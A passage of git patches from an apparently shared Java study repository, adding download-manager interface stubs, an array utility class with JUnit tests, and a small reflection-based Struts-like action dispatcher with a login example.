diff --git a/group12/495473393/Code/src/week3/api/Connection.java b/group12/495473393/Code/src/week3/api/Connection.java
new file mode 100644
index 0000000000..bba3230710
--- /dev/null
+++ b/group12/495473393/Code/src/week3/api/Connection.java
@@ -0,0 +1,23 @@
+package week3.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group12/495473393/Code/src/week3/api/ConnectionException.java b/group12/495473393/Code/src/week3/api/ConnectionException.java
new file mode 100644
index 0000000000..e760e23ddb
--- /dev/null
+++ b/group12/495473393/Code/src/week3/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package week3.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group12/495473393/Code/src/week3/api/ConnectionManager.java b/group12/495473393/Code/src/week3/api/ConnectionManager.java
new file mode 100644
index 0000000000..9b20c0177b
--- /dev/null
+++ b/group12/495473393/Code/src/week3/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package week3.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group12/495473393/Code/src/week3/api/DownloadListener.java b/group12/495473393/Code/src/week3/api/DownloadListener.java
new file mode 100644
index 0000000000..da4eb7abc3
--- /dev/null
+++ b/group12/495473393/Code/src/week3/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package week3.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group12/495473393/Code/src/week3/impl/ConnectionImpl.java b/group12/495473393/Code/src/week3/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..e354f10029
--- /dev/null
+++ b/group12/495473393/Code/src/week3/impl/ConnectionImpl.java
@@ -0,0 +1,26 @@
+package week3.impl;
+
+import java.io.IOException;
+import week3.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group12/495473393/Code/src/week3/impl/ConnectionManagerImpl.java b/group12/495473393/Code/src/week3/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..d58a2b600d
--- /dev/null
+++ b/group12/495473393/Code/src/week3/impl/ConnectionManagerImpl.java
@@ -0,0 +1,18 @@
+package week3.impl;
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+import week3.api.Connection;
+import week3.api.ConnectionException;
+import week3.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+	
+		return null;
+	}
+
+}

From c5b690dc9e147e0cc771ed4f6785c597e6bf39aa Mon Sep 17 00:00:00 2001
From: Pickacat <ken1992149@163.com>
Date: Sun, 19 Mar 2017 18:54:38 +0800
Subject: [PATCH 003/262] =?UTF-8?q?=E6=B7=BB=E5=8A=A0array=E9=A1=B9?=
 =?UTF-8?q?=E7=9B=AE?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group23/381519422/array/.classpath            |   7 +
 group23/381519422/array/.gitignore            |   1 +
 group23/381519422/array/.project              |  17 +
 .../381519422/array/src/array/ArrayUtil.java  | 354 ++++++++++++++++++
 .../array/src/array/ArrayUtilTest.java        | 116 ++++++
 5 files changed, 495 insertions(+)
 create mode 100644 group23/381519422/array/.classpath
 create mode 100644 group23/381519422/array/.gitignore
 create mode 100644 group23/381519422/array/.project
 create mode 100644 group23/381519422/array/src/array/ArrayUtil.java
 create mode 100644 group23/381519422/array/src/array/ArrayUtilTest.java

diff --git a/group23/381519422/array/.classpath b/group23/381519422/array/.classpath
new file mode 100644
index 0000000000..3e0fb272a8
--- /dev/null
+++ b/group23/381519422/array/.classpath
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/group23/381519422/array/.gitignore b/group23/381519422/array/.gitignore
new file mode 100644
index 0000000000..ae3c172604
--- /dev/null
+++ b/group23/381519422/array/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/group23/381519422/array/.project b/group23/381519422/array/.project
new file mode 100644
index 0000000000..ef3cae8954
--- /dev/null
+++ b/group23/381519422/array/.project
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>array</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.jdt.core.javabuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.jdt.core.javanature</nature>
+	</natures>
+</projectDescription>
diff --git a/group23/381519422/array/src/array/ArrayUtil.java b/group23/381519422/array/src/array/ArrayUtil.java
new file mode 100644
index 0000000000..cb1d3f49dc
--- /dev/null
+++ b/group23/381519422/array/src/array/ArrayUtil.java
@@ -0,0 +1,354 @@
+package array;
+
+import java.util.ArrayList;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin) {
+		if (origin == null || origin.length <= 1) {
+			return;
+		}
+		//第1和第length互换位置，第2和第length-1互换，以此类推
+		for (int i = 0; i < origin.length / 2; i++) {
+			int temp = origin[i];
+			origin[i] = origin[origin.length - 1 - i];
+			origin[origin.length - 1 - i] = temp;
+		}
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	public int[] removeZero(int[] oldArray) {
+		// 判断非法输入
+		if (oldArray == null || oldArray.length == 0) {
+			return null;
+		}
+
+		// 创建临时数组，长度与原oldArray一样长
+		int[] temp = new int[oldArray.length];
+		int tempCount = 0;
+		for (int i = 0; i < oldArray.length; i++) {
+			// 判断元素是0跳过
+			if (oldArray[i] == 0) {
+				continue;
+			} else {// 非零放入临时数组，计数器加1
+				temp[tempCount++] = oldArray[i];
+			}
+		}
+
+		// 如果计数器与原数组长度一致，直接返回临时数组
+		if (tempCount == oldArray.length) {
+			return temp;
+		} else {// 否则返回长度为tempCount的数组
+			int[] retVal = new int[tempCount];
+			System.arraycopy(temp, 0, retVal, 0, tempCount);
+			return retVal;
+		}
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	public int[] merge(int[] array1, int[] array2) {
+		// 创建临时数组，长度为array1+array2的长度
+		int[] temp = new int[array1.length + array2.length];
+		int index = 0;// temp的下标
+		int i = 0;// array1的下标
+		int j = 0;// array2的下标
+		int count = 0;// temp存放元素的计数器
+
+		while (true) {
+
+			if (i == array1.length) {// 当array1已经全部添加到temp，就把array2剩余的放入temp
+				for (int l = j; l < array2.length; l++) {
+					temp[index++] = array2[l];
+					count++;
+				}
+				break;
+			} else if (j == array2.length) {// 当array2已经全部添加到temp，就把array1剩余的放入temp
+				for (int l = i; l < array1.length; l++) {
+					temp[index++] = array1[l];
+					count++;
+				}
+				break;
+			}
+
+			// 取array1第i和array2第j个元素比较。如果array1[i]的小于array2[j]，则array1[i]放入temp
+			// 同时i++，使得下次为i+1和j个元素比较。
+			// 如果array1第i和array2第j个元素相等。则array1[i]放入temp
+			// 同时i++，j++，使得下次为i+1和j+1个元素比较。
+			if (array1[i] < array2[j]) {
+				temp[index++] = array1[i++];
+				count++;
+			} else if (array1[i] > array2[j]) {
+				temp[index++] = array2[j++];
+				count++;
+			} else {
+				temp[index++] = array1[i];
+				i++;
+				j++;
+				count++;
+			}
+		}
+
+		// 如果计数器和temp.length相等，直接返回
+		if (count == temp.length) {
+			return temp;
+		} else {// 否则创建长度为count的新数组返回
+			int[] retVal = new int[count];
+			System.arraycopy(temp, 0, retVal, 0, count);
+			return retVal;
+		}
+	}
+	
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
+		// 参数校验
+		if (size < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		if (size == 0) {
+			return oldArray;
+		}
+
+		// 扩容
+		int[] retVal = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			retVal[i] = oldArray[i];
+		}
+		return retVal;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max) {
+		// 0直接返回空数组
+		if (max == 1) {
+			return new int[0];
+		}
+
+		int retVal = 0;// 每一轮循环的斐波那契数
+		int i = 1;// 获取第几个斐波那契数
+		ArrayList<Integer> list = new ArrayList<Integer>();// 用于暂时保存斐波那契数
+		while (retVal < max) {// 获取所有小于max的斐波那契数
+			retVal = getFibonacci(i++);
+			if (retVal < max) {
+				list.add(retVal);
+			} else {
+				break;
+			}
+		}
+
+		// 将arraylist转为array
+		int[] retArray = new int[list.size()];
+		for (int j = 0; j < list.size(); j++) {
+			retArray[j] = list.get(j);
+		}
+		return retArray;
+	}
+	
+	/**
+	 * 循环获取第N个斐波那契数
+	 * @param index
+	 * @return
+	 */
+	private int getFibonacci(int index) {
+		if (index < 1) {
+			throw new RuntimeException("非法参数");
+		}
+		if (index == 1 || index == 2) {
+			return 1;
+		}
+
+		int first = 1;
+		int second = 1;
+		int retVal = 0;
+		for (int i = 3; i <= index; i++) {
+			retVal = first + second;
+			first = second;
+			second = retVal;
+		}
+		return retVal;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max) {
+		// 排除非法参数
+		if (max < 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 小于2没有素数
+		if (max <= 1) {
+			return new int[0];
+		}
+
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		// 取出每个数判断是不是素数，是就放入arraylist
+		for (int i = 2; i < max; i++) {
+			boolean primes = isPrimes(i);
+			if (primes) {
+				list.add(i);
+			}
+		}
+
+		int[] retArray = new int[list.size()];
+		// 将ArrayList转为数组返回
+		for (int i = 0; i < list.size(); i++) {
+			retArray[i] = list.get(i);
+		}
+		return retArray;
+	}
+	
+	/**
+	 * 判断输入的数字是不是素数
+	 * @param num
+	 * @return
+	 */
+	private boolean isPrimes(int num) {
+		// 排除非法参数
+		if (num <= 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 小于2没有素数
+		if (num == 1) {
+			return false;
+		}
+
+		// 2是素数，但是2%2==0为true，所以单独列出
+		if (num == 2) {
+			return true;
+		}
+
+		// num依次从2到num的平方根取余数，如果余数为零说明不是素数
+		for (int i = 2; i <= Math.sqrt(num); i++) {
+			if (num % i == 0) {
+				return false;
+			}
+		}
+		return true;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max) {
+		if (max < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		if (max <= 2) {
+			return new int[0];
+		}
+
+		// 获取小于max 的所有完数
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		for (int i = 1; i < max; i++) {
+			if (isPerfectNumber(i)) {
+				list.add(i);
+			}
+		}
+
+		// 将ArrayList转为array返回
+		int[] array = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			array[i] = list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 判断输入的数是不是完美数
+	 * @param num
+	 * @return
+	 */
+	private boolean isPerfectNumber(int num) {
+		if (num <= 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 放置num的所有约数
+		ArrayList<Integer> divisorList = new ArrayList<Integer>();
+		for (int i = 1; i < num; i++) {
+			if (num % i == 0) {
+				divisorList.add(i);
+			}
+		}
+
+		// 所有因数相加是否等于num，是就是完美数
+		int count = 0;
+		for (int i = 0; i < divisorList.size(); i++) {
+			count += divisorList.get(i);
+		}
+		if (count == num) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator) {
+		// 检查非法输入
+		if (array == null) {
+			return null;
+		}
+
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			if (i == array.length - 1) {// 最后一个元素后面不拼接-
+				sb.append(array[i]);
+			} else {
+				sb.append(array[i]);
+				sb.append("-");
+			}
+		}
+		return sb.toString();
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group23/381519422/array/src/array/ArrayUtilTest.java b/group23/381519422/array/src/array/ArrayUtilTest.java
new file mode 100644
index 0000000000..a202afdb20
--- /dev/null
+++ b/group23/381519422/array/src/array/ArrayUtilTest.java
@@ -0,0 +1,116 @@
+package array;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ArrayUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testReverseArray() {
+		int[] a = { 7, 9, 30, 3, 4 };
+		int[] expecteds = { 4, 3, 30, 9, 7 };
+		ArrayUtil util = new ArrayUtil();
+		util.reverseArray(a);
+		assertArrayEquals(expecteds, a);
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int[] oldArr = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
+		int[] expecteds = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
+		ArrayUtil util = new ArrayUtil();
+		int[] removeZero = util.removeZero(oldArr);
+		assertArrayEquals(expecteds, removeZero);
+	}
+
+	@Test
+	public void testMerge() {
+		int[] a1 = { 3, 5, 7, 8 };
+		int[] a2 = { 4, 5, 6, 7 };
+		ArrayUtil util = new ArrayUtil();
+		int[] merge = util.merge(a1, a2);
+		int[] expecteds = { 3, 4, 5, 6, 7, 8 };
+		assertArrayEquals(expecteds, merge);
+	}
+
+	@Test
+	public void testGrow() {
+		int[] oldArray = { 2, 3, 6 };
+		int size = 3;
+		int[] expecteds = { 2, 3, 6, 0, 0, 0 };
+		ArrayUtil util = new ArrayUtil();
+		int[] grow = util.grow(oldArray, size);
+		assertArrayEquals(expecteds, grow);
+	}
+
+	@Test
+	public void testFibonacci() {
+		int max1 = 15;
+		int[] expecteds1 = { 1, 1, 2, 3, 5, 8, 13 };
+		ArrayUtil util = new ArrayUtil();
+		int[] fibonacci1 = util.fibonacci(max1);
+		assertArrayEquals(expecteds1, fibonacci1);
+
+		int max2 = 1;
+		int[] expecteds2 = {};
+		int[] fibonacci2 = util.fibonacci(max2);
+		assertArrayEquals(expecteds2, fibonacci2);
+	}
+
+	@Test
+	public void testGetPrimes() {
+		int max1 = 23;
+		int[] expecteds1 = { 2, 3, 5, 7, 11, 13, 17, 19 };
+		ArrayUtil util = new ArrayUtil();
+		int[] primes1 = util.getPrimes(max1);
+		assertArrayEquals(expecteds1, primes1);
+
+		int max2 = 2;
+		int[] expecteds2 = {};
+		int[] primes2 = util.getPrimes(max2);
+		assertArrayEquals(expecteds2, primes2);
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		int max1 = 2;
+		int[] expecteds1 = {};
+		ArrayUtil util = new ArrayUtil();
+		int[] perfectNumbers1 = util.getPerfectNumbers(max1);
+		assertArrayEquals(expecteds1, perfectNumbers1);
+
+		// 6=1+2+3
+		int max2 = 7;
+		int[] expecteds2 = { 6 };
+		int[] perfectNumbers2 = util.getPerfectNumbers(max2);
+		assertArrayEquals(expecteds2, perfectNumbers2);
+
+		// 28=1+2+4+7+14
+		int max3 = 30;
+		int[] expecteds3 = { 6, 28 };
+		int[] perfectNumbers3 = util.getPerfectNumbers(max3);
+		assertArrayEquals(expecteds3, perfectNumbers3);
+	}
+
+	@Test
+	public void testJoin() {
+		int[] array = { 3, 8, 9 };
+		String seperator = "-";
+		String expecteds = "3-8-9";
+		ArrayUtil util = new ArrayUtil();
+		String join = util.join(array, seperator);
+		assertEquals(expecteds, join);
+	}
+
+}

From 35f923f1369b84b9ac4874750329e2c0677c5a80 Mon Sep 17 00:00:00 2001
From: Pickacat <ken1992149@163.com>
Date: Sun, 19 Mar 2017 23:48:02 +0800
Subject: [PATCH 004/262] =?UTF-8?q?=E5=AE=8C=E6=88=90struts=E5=8A=9F?=
 =?UTF-8?q?=E8=83=BD=EF=BC=8C=E4=B8=94=E5=8D=95=E5=85=83=E6=B5=8B=E8=AF=95?=
 =?UTF-8?q?=E9=80=9A=E8=BF=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../java/com/xiaol/study/LoginAction.java     |  36 ++++
 .../src/main/java/com/xiaol/study/Struts.java | 176 ++++++++++++++++++
 .../main/java/com/xiaol/study/StrutsTest.java |  43 +++++
 .../src/main/java/com/xiaol/study/View.java   |  26 +++
 .../litestruts/src/main/resources/struts.xml  |  24 +++
 5 files changed, 305 insertions(+)
 create mode 100644 group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
 create mode 100644 group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
 create mode 100644 group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
 create mode 100644 group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
 create mode 100644 group23/381519422/litestruts/src/main/resources/struts.xml

diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
new file mode 100644
index 0000000000..d31d404165
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
@@ -0,0 +1,36 @@
+package com.xiaol.study;
+
+public class LoginAction {
+	private String name;
+	private String password;
+	private String message;
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
+	public String execute() {
+		if ("test".equals(name) && "1234".equals(password)) {
+			this.message = "login successful";
+			return "success";
+		}
+		this.message = "login failed,please check your user/pwd";
+		return "fail";
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setPassword(String password) {
+		this.password = password;
+	}
+
+	public String getMessage() {
+		return this.message;
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
new file mode 100644
index 0000000000..5adabb38ad
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
@@ -0,0 +1,176 @@
+package com.xiaol.study;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+import javax.management.RuntimeErrorException;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NamedNodeMap;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+
+
+public class Struts {
+	
+	// 每一个action的信息存放到一个Map<String, String>里
+	// 所有的Map<String, String>放到rootMap方便统一管理
+	private static HashMap<String, Map<String, String>> rootMap = new HashMap<String, Map<String, String>>();
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+    	View view = new View(); 
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+		try {
+			// 1、初始化读取配置文件
+			init();
+
+			// 2、获取根据参数获取对应的class的名字
+			Map<String, String> actionMap = rootMap.get(actionName);
+			String className = actionMap.get("class");
+			// 3、根据名字获取Class对象
+			Class<?> clazzType = Class.forName(className);
+			// 4、通过无参构造获取一个对象
+			Object newInstance = clazzType.getConstructor(new Class[] {}).newInstance(new Object[] {});
+			// 5、调用set方法，把("name"="test" , "password"="1234")值set进去
+			Set<Entry<String, String>> entrySet = parameters.entrySet();
+			Iterator<Entry<String, String>> iterator = entrySet.iterator();
+			while (iterator.hasNext()) {
+				Entry<String, String> next = iterator.next();
+				String key = next.getKey();
+				String value = next.getValue();
+				String setMethodName = "set" + key.substring(0, 1).toUpperCase() + key.substring(1);
+				Field declaredField = clazzType.getDeclaredField(key);
+				Method setMehtod = clazzType.getDeclaredMethod(setMethodName, new Class[] { declaredField.getType() });
+				setMehtod.invoke(newInstance, value);
+			}
+			// 6、执行execute方法
+			String executeMethodName = "execute";
+			Method executeMethod = clazzType.getDeclaredMethod(executeMethodName);
+			Object resultString = (String) executeMethod.invoke(newInstance);
+
+			// 7、通过反射获取message信息
+			String getMethodName = "getMessage";
+			Field declaredField = clazzType.getDeclaredField("message");
+			Method getMehtod = clazzType.getDeclaredMethod(getMethodName);
+			String message = (String) getMehtod.invoke(newInstance);
+
+			// 8\
+			String jsp = actionMap.get(resultString);
+			view.setJsp(jsp);
+			Map<String, String> hashMap = new HashMap<>();
+			hashMap.put("message", message);
+			view.setParameters(hashMap);
+		} catch (Exception e) {
+			e.printStackTrace();
+			throw new ExceptionInInitializerError();
+		}
+		return view;
+    }    
+    
+	public static void init() throws Exception {
+
+		// 1、获取工厂实例
+		DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+		// 2、获取dom解析器
+		DocumentBuilder db = dbf.newDocumentBuilder();
+		// 3、解析xml文档，获取document对象(根节点)
+		// 也可以获取流使用db.parse(InputStream)
+		// InputStream is =
+		// this.getClass().getResourceAsStream("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml");
+		Document document = db.parse(
+				new File("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml"));
+		NodeList list = document.getElementsByTagName("action");
+
+		/*
+		 * 开始循环list，list中每一个元素结构如下
+		 * 	<action name="login" class="com.coderising.litestruts.LoginAction">
+				<result name="success">/jsp/homepage.jsp</result>
+				<result name="fail">/jsp/showLogin.jsp</result>
+			</action>
+		 */
+		for (int i = 0; i < list.getLength(); i++) {
+			Map<String, String> actionMap = new HashMap<String, String>();
+			// 注意：使用的都是org.w3c.dom包下的
+			Element element = (Element) list.item(i);
+			// 获取<action name="login">中 name对应的属性值
+			String actionAttributeName = element.getAttribute("name");
+			String className = element.getAttribute("class");
+			actionMap.put("class", className);
+
+			// 读取第一个action
+			NamedNodeMap nnm = element.getElementsByTagName("result").item(0).getAttributes();
+			// 获取<result name="success">的属性 name
+			// String nodeName = nnm.item(0).getNodeName();
+			// element.getElementsByTagName("result").item(0)
+			// 是<result name="success">/jsp/homepage.jsp</result>
+			// getFirstChild().getNodeValue() 是获取上面内容的/jsp/homepage.jsp
+			String context = element.getElementsByTagName("result").item(0).getTextContent();
+			// 获取<result name="success">的属性 name对应的值success
+			String nodeValue = nnm.item(0).getNodeValue();
+			actionMap.put(nodeValue, context);
+			
+			// 读取第二个action
+			nnm = element.getElementsByTagName("result").item(1).getAttributes();
+			// 获取<result name="success">的属性 name
+			// nodeName = nnm.item(0).getNodeName();
+			context = element.getElementsByTagName("result").item(1).getFirstChild().getNodeValue();
+			// 获取<result name="success">的属性 name对应的值success
+			nodeValue = nnm.item(0).getNodeValue();
+			actionMap.put(nodeValue, context);
+			
+			rootMap.put(actionAttributeName, actionMap);
+		}
+	}
+	
+	public static void main(String[] args) {
+		try {
+			init();
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	// 内部类用于存放从配置文件读取的数据
+	class StrutsMap {
+		private HashMap<String, String> map;
+
+		public String get(String key) {
+			return map.get(key);
+		}
+
+		public void set(String key, String value) {
+			map.put(key, value);
+		}
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
new file mode 100644
index 0000000000..53c1e7187c
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.xiaol.study;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
new file mode 100644
index 0000000000..41999670b8
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
@@ -0,0 +1,26 @@
+package com.xiaol.study;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+
+	public String getJsp() {
+		return jsp;
+	}
+
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+
+	public Map getParameters() {
+		return parameters;
+	}
+
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/resources/struts.xml b/group23/381519422/litestruts/src/main/resources/struts.xml
new file mode 100644
index 0000000000..32cf9d90c4
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/resources/struts.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+	<action name="login" class="com.xiaol.study.LoginAction">
+		<result name="success">/jsp/homepage.jsp</result>
+		<result name="fail">/jsp/showLogin.jsp</result>
+	</action>
+	<action name="logout" class="com.xiaol.study.LogoutAction">
+		<result name="success">/jsp/welcome.jsp</result>
+		<result name="error">/jsp/error.jsp</result>
+	</action>
+</struts>
+
+<!-- backup -->
+<!-- <?xml version="1.0" encoding="UTF-8"?> -->
+<!-- <struts> -->
+<!-- 	<action name="login" class="com.coderising.litestruts.LoginAction"> -->
+<!-- 		<result name="success">/jsp/homepage.jsp</result> -->
+<!-- 		<result name="fail">/jsp/showLogin.jsp</result> -->
+<!-- 	</action> -->
+<!-- 	<action name="logout" class="com.coderising.litestruts.LogoutAction"> -->
+<!-- 		<result name="success">/jsp/welcome.jsp</result> -->
+<!-- 		<result name="error">/jsp/error.jsp</result> -->
+<!-- 	</action> -->
+<!-- </struts> -->
\ No newline at end of file

From a1658ba81bd99aaeac4c62112e87163404b85f16 Mon Sep 17 00:00:00 2001
From: em14Vito <soulkillty@163.com>
Date: Wed, 22 Mar 2017 22:24:03 +0800
